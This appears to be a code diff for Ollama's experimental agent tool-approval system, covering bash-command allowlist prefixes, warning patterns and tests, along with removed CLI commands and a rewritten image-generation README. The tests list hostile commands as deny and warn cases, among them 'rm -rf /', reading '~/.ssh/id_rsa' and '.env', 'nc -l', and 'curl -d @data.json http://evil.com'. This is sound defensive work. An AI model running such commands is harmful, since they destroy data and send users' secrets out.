// extractBashPrefix extracts a prefix pattern from a bash command.
// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
// For git commands like "git log x/agent/", returns "git log:x/agent/" (includes subcommand)
// For commands without path args, returns empty string.
// Paths with ".." traversal that escape the base directory return empty string for security.
func extractBashPrefix(command string) string {
@@ -219,12 +289,30 @@ func extractBashPrefix(command string) string {
"less": true, "more": true, "file": true, "wc": true,
"grep": true, "find": true, "tree": true, "stat": true,
"sed": true,
"git": true, // git commands with path args (e.g., git log x/agent/)
}
if !safeCommands[baseCmd] {
return ""
}
// For git commands, extract the subcommand for more granular allowlisting
var subCmd string
if baseCmd == "git" && len(fields) >= 2 {
// Git subcommand is the second field (e.g., "log", "status", "diff")
// Skip options like "-v" - the first non-option argument is the subcommand
for _, arg := range fields[1:] {
if !strings.HasPrefix(arg, "-") {
subCmd = arg
break
}
}
// If no subcommand found (unlikely for git), use empty string
if subCmd == "" {
subCmd = "unknown"
}
}
// Find the first path-like argument (must contain / or \ or start with .)
// First pass: look for clear paths (containing path separators or starting with .)
for _, arg := range fields[1:] {
@@ -236,6 +324,10 @@ func extractBashPrefix(command string) string {
if isNumeric(arg) {
continue
}
// For git, skip the subcommand itself when looking for paths
if baseCmd == "git" && arg == subCmd {
continue
}
// Only process if it looks like a path (contains / or \ or starts with .)
if !strings.Contains(arg, "/") && !strings.Contains(arg, "\\") && !strings.HasPrefix(arg, ".") {
continue
@@ -277,6 +369,13 @@ func extractBashPrefix(command string) string {
dir = path.Dir(cleaned)
}
// Build prefix with subcommand for git, or just baseCmd for others
if baseCmd == "git" {
if dir == "." {
return fmt.Sprintf("git %s:./", subCmd)
}
return fmt.Sprintf("git %s:%s/", subCmd, dir)
}
if dir == "." {
return fmt.Sprintf("%s:./", baseCmd)
}
@@ -284,6 +383,7 @@ func extractBashPrefix(command string) string {
}
// Second pass: if no clear path found, use the first non-flag argument as a filename
// For git, we still allow ./ prefix even without path args (git status, git stash, etc.)
for _, arg := range fields[1:] {
if strings.HasPrefix(arg, "-") {
continue
@@ -291,6 +391,12 @@ func extractBashPrefix(command string) string {
if isNumeric(arg) {
continue
}
// For git, skip the subcommand when checking for path args
if baseCmd == "git" && arg == subCmd {
// Git commands without path args (git status, git stash, etc.)
// Still return a prefix with subcommand and current directory
return fmt.Sprintf("git %s:./", subCmd)
}
// Treat as filename in current dir
return fmt.Sprintf("%s:./", baseCmd)
}
@@ -494,24 +600,37 @@ func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any)
// This prevents buffered input from causing double-press issues
flushStdin(fd)
// Check if bash command should show warning
// Warning is shown for: commands outside cwd, or commands matching warn patterns
isWarning := false
var warningMsg string
var allowlistInfo string
if toolName == "bash" {
if cmd, ok := args["command"].(string); ok {
// Check for outside cwd warning
if isCommandOutsideCwd(cmd) {
isWarning = true
warningMsg = "command targets paths outside project"
}
if prefix := extractBashPrefix(cmd); prefix != "" {
// Check for warn patterns (curl POST, scp, rsync, .env files)
if warned, pattern := IsWarn(cmd); warned {
isWarning = true
warningMsg = fmt.Sprintf("matches warning pattern: %s", pattern)
}
// Generate allowlist info for display
prefix := extractBashPrefix(cmd)
if prefix != "" {
// Parse prefix format "cmd:path/" into command and directory
colonIdx := strings.Index(prefix, ":")
if colonIdx != -1 {
cmdName := prefix[:colonIdx]
dirPath := prefix[colonIdx+1:]
// Include "(includes subdirs)" for directories that allow hierarchical matching
// ./ is special - it only allows files in current dir, not subdirs
if dirPath != "./" {
allowlistInfo = fmt.Sprintf("%s in %s directory (includes subdirs)", cmdName, dirPath)
allowlistInfo = fmt.Sprintf("Allow for this session: %s in %s directory (includes subdirs)", cmdName, dirPath)
} else {
allowlistInfo = fmt.Sprintf("%s in %s directory", cmdName, dirPath)
allowlistInfo = fmt.Sprintf("Allow for this session: %s in %s directory", cmdName, dirPath)
}
}
}
@@ -593,7 +712,7 @@ type selectorState struct {
denyReason string // deny reason (always visible in box)
isWarning bool // true if command has warning
warningMessage string // dynamic warning message to display
allowlistInfo string // show what will be allowlisted (for "Allow for this session" option)
allowlistInfo string // show what will be allowlisted (for "Always allow" option)
}
// runSelector runs the interactive selector and returns the selected index and optional deny reason.
@@ -807,9 +926,11 @@ func renderSelectorBox(state *selectorState) {
// Blank line separator
fmt.Fprintf(os.Stderr, "\033[K\r\n")
// Draw options
for i, label := range optionLabels {
if i == 2 {
if i == 2 { // Deny option with input
denyLabel := "3. Deny: "
// Show placeholder if empty, actual input if typing
inputDisplay := state.denyReason
if inputDisplay == "" {
inputDisplay = "\033[90m(optional reason)\033[0m"
@@ -820,6 +941,7 @@ func renderSelectorBox(state *selectorState) {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
}
} else {
// Show allowlist info beside "Allow for this session" (index 1)
displayLabel := label
if i == 1 && state.allowlistInfo != "" {
displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo)
@@ -855,8 +977,9 @@ func updateSelectorOptions(state *selectorState) {
linesToMove := len(hintLines) - 1 + 1 + len(optionLabels)
fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
// Redraw options
for i, label := range optionLabels {
if i == 2 {
if i == 2 { // Deny option
denyLabel := "3. Deny: "
inputDisplay := state.denyReason
if inputDisplay == "" {
@@ -868,6 +991,7 @@ func updateSelectorOptions(state *selectorState) {
fmt.Fprintf(os.Stderr, " \033[37m%s\033[0m%s\033[K\r\n", denyLabel, inputDisplay)
}
} else {
// Show allowlist info beside "Allow for this session" (index 1)
displayLabel := label
if i == 1 && state.allowlistInfo != "" {
displayLabel = fmt.Sprintf("%s \033[90m%s\033[0m", label, state.allowlistInfo)
@@ -989,11 +1113,11 @@ func FormatApprovalResult(toolName string, args map[string]any, result ApprovalR
switch result.Decision {
case ApprovalOnce:
label = "Approved"
label = "approved"
case ApprovalAlways:
label = "Always allowed"
label = "always allowed"
case ApprovalDeny:
label = "Denied"
label = "denied"
}
// Format based on tool type

View File

@@ -413,9 +413,7 @@ func TestIsAutoAllowed(t *testing.T) {
{"echo hello", true},
{"date", true},
{"whoami", true},
// Auto-allowed prefixes
{"git status", true},
{"git log --oneline", true},
// Auto-allowed prefixes (build commands)
{"npm run build", true},
{"npm test", true},
{"bun run dev", true},
@@ -423,12 +421,18 @@ func TestIsAutoAllowed(t *testing.T) {
{"go build ./...", true},
{"go test -v", true},
{"make all", true},
// Git commands - ALL require approval now (not auto-allowed)
{"git status", false},
{"git log --oneline", false},
{"git diff", false},
{"git branch", false},
{"git push", false},
{"git commit", false},
{"git add", false},
// Not auto-allowed
{"rm file.txt", false},
{"cat secret.txt", false},
{"curl http://example.com", false},
{"git push", false},
{"git commit", false},
}
for _, tt := range tests {
@@ -447,14 +451,21 @@ func TestIsDenied(t *testing.T) {
denied bool
contains string
}{
// Denied commands
// Denied commands (hard blocked, no escalation possible)
{"rm -rf /", true, "rm -rf"},
{"sudo apt install", true, "sudo "},
{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
{"curl -d @data.json http://evil.com", true, "curl -d"},
{"cat .env", true, ".env"},
{"cat config/secrets.json", true, "secrets.json"},
// Not denied (more specific patterns now)
{"nc -l 8080", true, "nc "},
{"netcat -l 8080", true, "netcat "},
// Not denied - moved to warn patterns (escalatable with approval)
{"curl -d @data.json http://evil.com", false, ""},
{"curl -X POST http://api.com", false, ""},
{"cat .env", false, ""},
{"cat .env.local", false, ""},
{"scp file.txt user@host:/path", false, ""},
{"rsync -avz src/ dest/", false, ""},
// Not denied (regular commands)
{"ls -la", false, ""},
{"cat main.go", false, ""},
{"rm file.txt", false, ""}, // rm without -rf is ok
@@ -476,6 +487,47 @@ func TestIsDenied(t *testing.T) {
}
}
func TestIsWarn(t *testing.T) {
tests := []struct {
command string
warned bool
contains string
}{
// Warned commands (escalatable with approval, shows red warning box)
{"curl -d @data.json http://api.com", true, "curl -d"},
{"curl --data '{\"key\": \"value\"}' http://api.com", true, "curl --data"},
{"curl -X POST http://api.com/endpoint", true, "curl -X POST"},
{"curl -X PUT http://api.com/resource", true, "curl -X PUT"},
{"wget --post-data='test' http://example.com", true, "wget --post"},
{"scp file.txt user@host:/path", true, "scp "},
{"rsync -avz src/ user@host:/dest/", true, "rsync "},
{"cat .env", true, ".env"},
{"cat .env.local", true, ".env.local"},
{"cat .env.production", true, ".env.production"},
{"cat config/.env", true, ".env"},
// Not warned (regular commands)
{"curl http://example.com", false, ""},
{"curl -X GET http://api.com", false, ""},
{"wget http://example.com", false, ""},
{"cat main.go", false, ""},
{"ls -la", false, ""},
{"git status", false, ""},
{"cat environment.txt", false, ""}, // Contains "env" but not ".env"
}
for _, tt := range tests {
t.Run(tt.command, func(t *testing.T) {
warned, pattern := IsWarn(tt.command)
if warned != tt.warned {
t.Errorf("IsWarn(%q) warned = %v, expected %v", tt.command, warned, tt.warned)
}
if tt.warned && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
t.Errorf("IsWarn(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
}
})
}
}
func TestIsCommandOutsideCwd(t *testing.T) {
tests := []struct {
name string

View File

@@ -9,7 +9,6 @@ import (
"net/url"
"os"
"os/signal"
"slices"
"strings"
"syscall"
"time"
@@ -25,14 +24,6 @@ import (
"github.com/ollama/ollama/x/tools"
)
// MultilineState tracks the state of multiline input
type MultilineState int
const (
MultilineNone MultilineState = iota
MultilineSystem
)
// Tool output capping constants
const (
// localModelTokenLimit is the token limit for local models (smaller context).
@@ -139,7 +130,6 @@ type RunOptions struct {
KeepAlive *api.Duration
Think *api.ThinkValue
HideThinking bool
Verbose bool
// Agent fields (managed externally for session persistence)
Tools *tools.Registry
@@ -188,7 +178,6 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
var thinkTagClosed bool = false
var pendingToolCalls []api.ToolCall
var consecutiveErrors int // Track consecutive 500 errors for retry limit
var latest api.ChatResponse
role := "assistant"
messages := opts.Messages
@@ -198,7 +187,6 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
p.StopAndClear()
}
latest = response
role = response.Message.Role
if response.Message.Thinking != "" && !opts.HideThinking {
if !thinkTagOpened {
@@ -376,11 +364,10 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
}
// Check if command is auto-allowed (safe command)
// TODO(parthsareen): re-enable with tighter scoped allowlist
// if agent.IsAutoAllowed(cmd) {
// fmt.Fprintf(os.Stderr, "\033[1mauto-allowed:\033[0m %s\n", formatToolShort(toolName, args))
// skipApproval = true
// }
if agent.IsAutoAllowed(cmd) {
fmt.Fprintf(os.Stderr, "\033[1mauto-allowed:\033[0m %s\n", formatToolShort(toolName, args))
skipApproval = true
}
}
}
@@ -495,10 +482,6 @@ func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
fmt.Println()
}
if opts.Verbose {
latest.Summary()
}
return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil
}
@@ -675,17 +658,14 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
var toolRegistry *tools.Registry
if supportsTools {
toolRegistry = tools.DefaultRegistry()
if toolRegistry.Has("bash") {
fmt.Fprintln(os.Stderr)
fmt.Fprintln(os.Stderr, "This experimental version of Ollama has the \033[1mbash\033[0m tool enabled.")
fmt.Fprintln(os.Stderr, "Models can read files on your computer, or run commands (after you allow them).")
fmt.Fprintln(os.Stderr)
if toolRegistry.Count() > 0 {
fmt.Fprintf(os.Stderr, "\033[90mtools available: %s\033[0m\n", strings.Join(toolRegistry.Names(), ", "))
}
if yoloMode {
fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m yolo mode - all tool approvals will be skipped\n")
}
} else {
fmt.Fprintf(os.Stderr, "\033[1mnote:\033[0m model does not support tools - running in chat-only mode\n")
}
// Create approval manager for session
@@ -693,9 +673,6 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
var messages []api.Message
var sb strings.Builder
var format string
var system string
var multiline MultilineState = MultilineNone
for {
line, err := scanner.Readline()
@@ -707,39 +684,13 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
if line == "" {
fmt.Println("\nUse Ctrl + d or /bye to exit.")
}
scanner.Prompt.UseAlt = false
sb.Reset()
multiline = MultilineNone
continue
case err != nil:
return err
}
switch {
case multiline != MultilineNone:
// check if there's a multiline terminating string
before, ok := strings.CutSuffix(line, `"""`)
sb.WriteString(before)
if !ok {
fmt.Fprintln(&sb)
continue
}
switch multiline {
case MultilineSystem:
system = sb.String()
newMessage := api.Message{Role: "system", Content: system}
if len(messages) > 0 && messages[len(messages)-1].Role == "system" {
messages[len(messages)-1] = newMessage
} else {
messages = append(messages, newMessage)
}
fmt.Println("Set system message.")
sb.Reset()
}
multiline = MultilineNone
scanner.Prompt.UseAlt = false
case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
return nil
case strings.HasPrefix(line, "/clear"):
@@ -752,10 +703,6 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
continue
case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
fmt.Fprintln(os.Stderr, "Available Commands:")
fmt.Fprintln(os.Stderr, " /set Set session variables")
fmt.Fprintln(os.Stderr, " /show Show model information")
fmt.Fprintln(os.Stderr, " /load Load a different model")
fmt.Fprintln(os.Stderr, " /save Save session as a model")
fmt.Fprintln(os.Stderr, " /tools Show available tools and approvals")
fmt.Fprintln(os.Stderr, " /clear Clear session context and approvals")
fmt.Fprintln(os.Stderr, " /bye Exit")
@@ -765,303 +712,6 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
fmt.Fprintln(os.Stderr, " Ctrl+O Expand last tool output")
fmt.Fprintln(os.Stderr, "")
continue
case strings.HasPrefix(line, "/set"):
args := strings.Fields(line)
if len(args) > 1 {
switch args[1] {
case "history":
scanner.HistoryEnable()
case "nohistory":
scanner.HistoryDisable()
case "wordwrap":
wordWrap = true
fmt.Println("Set 'wordwrap' mode.")
case "nowordwrap":
wordWrap = false
fmt.Println("Set 'nowordwrap' mode.")
case "verbose":
if err := cmd.Flags().Set("verbose", "true"); err != nil {
return err
}
fmt.Println("Set 'verbose' mode.")
case "quiet":
if err := cmd.Flags().Set("verbose", "false"); err != nil {
return err
}
fmt.Println("Set 'quiet' mode.")
case "think":
thinkValue := api.ThinkValue{Value: true}
var maybeLevel string
if len(args) > 2 {
maybeLevel = args[2]
}
if maybeLevel != "" {
thinkValue.Value = maybeLevel
}
think = &thinkValue
// Check if model supports thinking
if client, err := api.ClientFromEnvironment(); err == nil {
if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil {
if !slices.Contains(resp.Capabilities, model.CapabilityThinking) {
fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName)
}
}
}
if maybeLevel != "" {
fmt.Printf("Set 'think' mode to '%s'.\n", maybeLevel)
} else {
fmt.Println("Set 'think' mode.")
}
case "nothink":
think = &api.ThinkValue{Value: false}
// Check if model supports thinking
if client, err := api.ClientFromEnvironment(); err == nil {
if resp, err := client.Show(cmd.Context(), &api.ShowRequest{Model: modelName}); err == nil {
if !slices.Contains(resp.Capabilities, model.CapabilityThinking) {
fmt.Fprintf(os.Stderr, "warning: model %q does not support thinking output\n", modelName)
}
}
}
fmt.Println("Set 'nothink' mode.")
case "format":
if len(args) < 3 || args[2] != "json" {
fmt.Println("Invalid or missing format. For 'json' mode use '/set format json'")
} else {
format = args[2]
fmt.Printf("Set format to '%s' mode.\n", args[2])
}
case "noformat":
format = ""
fmt.Println("Disabled format.")
case "parameter":
if len(args) < 4 {
fmt.Println("Usage: /set parameter <name> <value>")
continue
}
params := args[3:]
fp, err := api.FormatParams(map[string][]string{args[2]: params})
if err != nil {
fmt.Printf("Couldn't set parameter: %q\n", err)
continue
}
fmt.Printf("Set parameter '%s' to '%s'\n", args[2], strings.Join(params, ", "))
options[args[2]] = fp[args[2]]
case "system":
if len(args) < 3 {
fmt.Println("Usage: /set system <message> or /set system \"\"\"<multi-line message>\"\"\"")
continue
}
multiline = MultilineSystem
line := strings.Join(args[2:], " ")
line, ok := strings.CutPrefix(line, `"""`)
if !ok {
multiline = MultilineNone
} else {
// only cut suffix if the line is multiline
line, ok = strings.CutSuffix(line, `"""`)
if ok {
multiline = MultilineNone
}
}
sb.WriteString(line)
if multiline != MultilineNone {
scanner.Prompt.UseAlt = true
continue
}
system = sb.String()
newMessage := api.Message{Role: "system", Content: sb.String()}
// Check if the slice is not empty and the last message is from 'system'
if len(messages) > 0 && messages[len(messages)-1].Role == "system" {
// Replace the last message
messages[len(messages)-1] = newMessage
} else {
messages = append(messages, newMessage)
}
fmt.Println("Set system message.")
sb.Reset()
continue
default:
fmt.Printf("Unknown command '/set %s'. Type /? for help\n", args[1])
}
} else {
fmt.Println("Usage: /set <parameter|system|history|format|wordwrap|think|verbose> [value]")
}
continue
case strings.HasPrefix(line, "/show"):
args := strings.Fields(line)
if len(args) > 1 {
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
continue
}
req := &api.ShowRequest{
Name: modelName,
Options: options,
}
resp, err := client.Show(cmd.Context(), req)
if err != nil {
fmt.Println("error: couldn't get model")
continue
}
switch args[1] {
case "info":
fmt.Fprintf(os.Stderr, " Model\n")
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Name", modelName)
if resp.Details.Family != "" {
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Family", resp.Details.Family)
}
if resp.Details.ParameterSize != "" {
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Parameter Size", resp.Details.ParameterSize)
}
if resp.Details.QuantizationLevel != "" {
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Quantization", resp.Details.QuantizationLevel)
}
if len(resp.Capabilities) > 0 {
caps := make([]string, len(resp.Capabilities))
for i, c := range resp.Capabilities {
caps[i] = string(c)
}
fmt.Fprintf(os.Stderr, " %-16s %s\n", "Capabilities", strings.Join(caps, ", "))
}
fmt.Fprintln(os.Stderr)
case "license":
if resp.License == "" {
fmt.Println("No license was specified for this model.")
} else {
fmt.Println(resp.License)
}
case "modelfile":
fmt.Println(resp.Modelfile)
case "parameters":
fmt.Println("Model defined parameters:")
if resp.Parameters == "" {
fmt.Println(" No additional parameters were specified.")
} else {
for _, l := range strings.Split(resp.Parameters, "\n") {
fmt.Printf(" %s\n", l)
}
}
if len(options) > 0 {
fmt.Println("\nUser defined parameters:")
for k, v := range options {
fmt.Printf(" %-30s %v\n", k, v)
}
}
case "system":
switch {
case system != "":
fmt.Println(system + "\n")
case resp.System != "":
fmt.Println(resp.System + "\n")
default:
fmt.Println("No system message was specified for this model.")
}
case "template":
if resp.Template != "" {
fmt.Println(resp.Template)
} else {
fmt.Println("No prompt template was specified for this model.")
}
default:
fmt.Printf("Unknown command '/show %s'. Type /? for help\n", args[1])
}
} else {
fmt.Println("Usage: /show <info|license|modelfile|parameters|system|template>")
}
continue
case strings.HasPrefix(line, "/load"):
args := strings.Fields(line)
if len(args) != 2 {
fmt.Println("Usage: /load <modelname>")
continue
}
newModelName := args[1]
fmt.Printf("Loading model '%s'\n", newModelName)
// Create progress spinner
p := progress.NewProgress(os.Stderr)
spinner := progress.NewSpinner("")
p.Add("", spinner)
// Get client
client, err := api.ClientFromEnvironment()
if err != nil {
p.StopAndClear()
fmt.Println("error: couldn't connect to ollama server")
continue
}
// Check if model exists and get its info
info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: newModelName})
if err != nil {
p.StopAndClear()
if strings.Contains(err.Error(), "not found") {
fmt.Printf("Couldn't find model '%s'\n", newModelName)
} else {
fmt.Printf("error: %v\n", err)
}
continue
}
// For cloud models, no need to preload
if info.RemoteHost == "" {
// Preload the model by sending an empty generate request
req := &api.GenerateRequest{
Model: newModelName,
Think: think,
}
err = client.Generate(cmd.Context(), req, func(r api.GenerateResponse) error {
return nil
})
if err != nil {
p.StopAndClear()
if strings.Contains(err.Error(), "not found") {
fmt.Printf("Couldn't find model '%s'\n", newModelName)
} else if strings.Contains(err.Error(), "does not support thinking") {
fmt.Printf("error: %v\n", err)
} else {
fmt.Printf("error loading model: %v\n", err)
}
continue
}
}
p.StopAndClear()
modelName = newModelName
messages = []api.Message{}
approval.Reset()
continue
case strings.HasPrefix(line, "/save"):
args := strings.Fields(line)
if len(args) != 2 {
fmt.Println("Usage: /save <modelname>")
continue
}
client, err := api.ClientFromEnvironment()
if err != nil {
fmt.Println("error: couldn't connect to ollama server")
continue
}
req := &api.CreateRequest{
Model: args[1],
From: modelName,
Parameters: options,
Messages: messages,
}
fn := func(resp api.ProgressResponse) error { return nil }
err = client.Create(cmd.Context(), req, fn)
if err != nil {
fmt.Printf("error: %v\n", err)
continue
}
fmt.Printf("Created new model '%s'\n", args[1])
continue
case strings.HasPrefix(line, "/"):
fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0])
continue
@@ -1069,16 +719,14 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
sb.WriteString(line)
}
if sb.Len() > 0 && multiline == MultilineNone {
if sb.Len() > 0 {
newMessage := api.Message{Role: "user", Content: sb.String()}
messages = append(messages, newMessage)
verbose, _ := cmd.Flags().GetBool("verbose")
opts := RunOptions{
Model: modelName,
Messages: messages,
WordWrap: wordWrap,
Format: format,
Options: options,
Think: think,
HideThinking: hideThinking,
@@ -1086,7 +734,6 @@ func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, op
Tools: toolRegistry,
Approval: approval,
YoloMode: yoloMode,
Verbose: verbose,
}
assistant, err := Chat(cmd.Context(), opts)

View File

@@ -1,236 +1,61 @@
# Image Generation in Ollama (Experimental)
# imagegen
Generate images from text prompts using local AI models.
This is a package that uses MLX to run image generation models, ahead of being integrated into Ollama's primary runner.
in `CMakeLists.txt` and rebuild.
## Quick Start
### 1. Download a Model
Download Llama 3.1 8B (or any compatible model) in safetensors format:
```bash
# Run with a prompt
ollama run z-image "a sunset over mountains"
Generating: step 30/30
Image saved to: /tmp/ollama-image-1704067200.png
mkdir -p ./weights
# Example using huggingface-cli
hf download meta-llama/Llama-3.1-8B --local-dir ./weights/Llama-3.1-8B
hf download openai/gpt-oss-20b --local-dir ./weights/gpt-oss-20b
```
On macOS, the generated image will automatically open in Preview.
## Supported Models
| Model | VRAM Required | Notes |
|-------|---------------|-------|
| z-image | ~12GB | Based on Flux architecture |
## CLI Usage
### 2. Run Inference
```bash
# Generate an image
ollama run z-image "a cat playing piano"
# Build
go build ./cmd/engine
# Check if model is running
ollama ps
# Text generation
./engine -model ./weights/Llama-3.1-8B -prompt "Hello, world!" -max-tokens 250
# Stop the model
ollama stop z-image
# Qwen-Image 2512 (text-to-image)
./engine -qwen-image -model ./weights/Qwen-Image-2512 -prompt "A mountain landscape at sunset" \
-width 1024 -height 1024 -steps 20 -seed 42 -output landscape.png
# Qwen-Image Edit (experimental) - 8 steps for speed, but model recommends 50
./engine -qwen-image-edit -model ./weights/Qwen-Image-Edit-2511 \
-input-image input.png -prompt "Make it winter" -negative-prompt " " -cfg-scale 4.0 \
-steps 8 -seed 42 -output edited.png
```
## API
## Memory Management
### OpenAI-Compatible Endpoint
MLX Python/C++ uses scope-based memory management - arrays are freed when they go out of scope. Go's garbage collector is non-deterministic, so we can't rely on finalizers to free GPU memory promptly.
```bash
POST /v1/images/generations
Instead, arrays are automatically tracked and freed on `Eval()`:
```go
// All arrays are automatically tracked when created
x := mlx.Add(a, b)
y := mlx.Matmul(x, w)
// Eval frees non-kept arrays, evaluates outputs (auto-kept)
mlx.Eval(y)
// After copying to CPU, free the array
data := y.Data()
y.Free()
```
**Request:**
```json
{
"model": "z-image",
"prompt": "a sunset over mountains",
"size": "1024x1024",
"response_format": "b64_json"
}
```
Key points:
**Response:**
```json
{
"created": 1704067200,
"data": [
{
"b64_json": "iVBORw0KGgo..."
}
]
}
```
### Example: cURL
```bash
curl http://localhost:11434/v1/images/generations \
-H "Content-Type: application/json" \
-d '{
"model": "z-image",
"prompt": "a white cat",
"size": "1024x1024"
}'
```
### Example: Save to File
```bash
curl -s http://localhost:11434/v1/images/generations \
-H "Content-Type: application/json" \
-d '{
"model": "z-image",
"prompt": "a white cat",
"size": "1024x1024"
}' | jq -r '.data[0].b64_json' | base64 -d > image.png
```
### Streaming Progress
Enable streaming to receive progress updates via SSE:
```bash
curl http://localhost:11434/v1/images/generations \
-H "Content-Type: application/json" \
-d '{"model": "z-image", "prompt": "a sunset", "stream": true}'
```
Events:
```
event: progress
data: {"step": 1, "total": 30}
event: progress
data: {"step": 2, "total": 30}
...
event: done
data: {"created": 1704067200, "data": [{"b64_json": "..."}]}
```
## Parameters
| Parameter | Type | Default | Description |
|-----------|------|---------|-------------|
| model | string | required | Model name |
| prompt | string | required | Text description of image |
| size | string | "1024x1024" | Image dimensions (WxH) |
| n | int | 1 | Number of images (currently only 1 supported) |
| response_format | string | "b64_json" | "b64_json" or "url" |
| stream | bool | false | Enable progress streaming |
## Requirements
- macOS with Apple Silicon (M1/M2/M3/M4)
- CUDA: tested on CUDA 12 Blackwell, more testing coming soon
- Sufficient VRAM (see model table above)
- Ollama built with MLX support
## Limitations
- macOS only (uses MLX backend)
- Single image per request
- Fixed step count (30 steps)
- Modelfiles not yet supported (use `ollama create` from model directory)
---
# Tensor Model Storage Format
Tensor models store each tensor as a separate blob with metadata in the manifest. This enables faster downloads (parallel fetching) and deduplication (shared tensors are stored once).
## Manifest Structure
The manifest follows the standard ollama format with tensor-specific layer metadata:
```json
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": { "digest": "sha256:...", "size": 1234 },
"layers": [
{
"mediaType": "application/vnd.ollama.image.tensor",
"digest": "sha256:25b36eed...",
"size": 49807448,
"name": "text_encoder/model.layers.0.mlp.down_proj.weight",
"dtype": "BF16",
"shape": [2560, 9728]
},
{
"mediaType": "application/vnd.ollama.image.json",
"digest": "sha256:abc123...",
"size": 512,
"name": "text_encoder/config.json"
}
]
}
```
Each tensor layer includes:
- `name`: Path-style tensor name (e.g., `text_encoder/model.layers.0.mlp.down_proj.weight`)
- `dtype`: Data type (BF16, F32, etc.)
- `shape`: Tensor dimensions
Config layers use the same path-style naming (e.g., `tokenizer/tokenizer.json`).
## Blob Format
Each tensor blob is a minimal safetensors file:
```
[8 bytes: header size (uint64 LE)]
[~80 bytes: JSON header, padded to 8-byte alignment]
[N bytes: raw tensor data]
```
Header contains a single tensor named `"data"`:
```json
{"data":{"dtype":"BF16","shape":[2560,9728],"data_offsets":[0,49807360]}}
```
## Why Include the Header?
The ~88 byte safetensors header enables MLX's native `mlx_load_safetensors` function, which:
1. **Uses mmap** - Maps file directly into memory, no copies
2. **Zero-copy to GPU** - MLX reads directly from mapped pages
3. **No custom code** - Standard MLX API, battle-tested
Without the header, we'd need custom C++ code to create MLX arrays from raw mmap'd data. MLX's public API doesn't expose this - it always copies when creating arrays from external pointers.
The overhead is negligible: 88 bytes per tensor = ~100KB total for a 13GB model (0.0007%).
## Why Per-Tensor Blobs?
**Deduplication**: Blobs are content-addressed by SHA256. If two models share identical tensors (same weights, dtype, shape), they share the same blob file.
Example: Model A and Model B both use the same text encoder. The text encoder's 400 tensors are stored once, referenced by both manifests.
```
~/.ollama/models/
blobs/
sha256-25b36eed... <- shared by both models
sha256-abc123...
manifests/
library/model-a/latest <- references sha256-25b36eed
library/model-b/latest <- references sha256-25b36eed
```
## Import Flow
```
cd ./weights/Z-Image-Turbo
ollama create z-image
1. Scan component directories (text_encoder/, transformer/, vae/)
2. For each .safetensors file:
- Extract individual tensors
- Wrap each in minimal safetensors format (88B header + data)
- Write to blob store (SHA256 content-addressed)
- Add layer entry to manifest with path-style name
3. Copy config files (*.json) as config layers
4. Write manifest
```
- All created arrays are automatically tracked
- `mlx.Eval(outputs...)` frees non-kept arrays, evaluates outputs (outputs auto-kept)
- `mlx.Keep(arrays...)` marks arrays to survive multiple Eval cycles (for weights, caches)
- Call `.Free()` when done with an array

View File

@@ -1,235 +0,0 @@
package api
import (
"encoding/base64"
"fmt"
"net/http"
"os"
"strconv"
"strings"
"time"
"github.com/gin-gonic/gin"
"github.com/ollama/ollama/api"
"github.com/ollama/ollama/llm"
"github.com/ollama/ollama/x/imagegen"
)
// RunnerScheduler is the interface for scheduling a model runner.
// This is implemented by server.Server to avoid circular imports.
type RunnerScheduler interface {
ScheduleImageGenRunner(ctx *gin.Context, modelName string, opts api.Options, keepAlive *api.Duration) (llm.LlamaServer, error)
}
// RegisterRoutes registers the image generation API routes.
func RegisterRoutes(r gin.IRouter, scheduler RunnerScheduler) {
r.POST("/v1/images/generations", func(c *gin.Context) {
ImageGenerationHandler(c, scheduler)
})
}
// ImageGenerationHandler handles OpenAI-compatible image generation requests.
func ImageGenerationHandler(c *gin.Context, scheduler RunnerScheduler) {
var req ImageGenerationRequest
if err := c.BindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": gin.H{"message": err.Error()}})
return
}
// Validate required fields
if req.Model == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": gin.H{"message": "model is required"}})
return
}
if req.Prompt == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": gin.H{"message": "prompt is required"}})
return
}
// Apply defaults
if req.N == 0 {
req.N = 1
}
if req.Size == "" {
req.Size = "1024x1024"
}
if req.ResponseFormat == "" {
req.ResponseFormat = "b64_json"
}
// Verify model exists
if imagegen.ResolveModelName(req.Model) == "" {
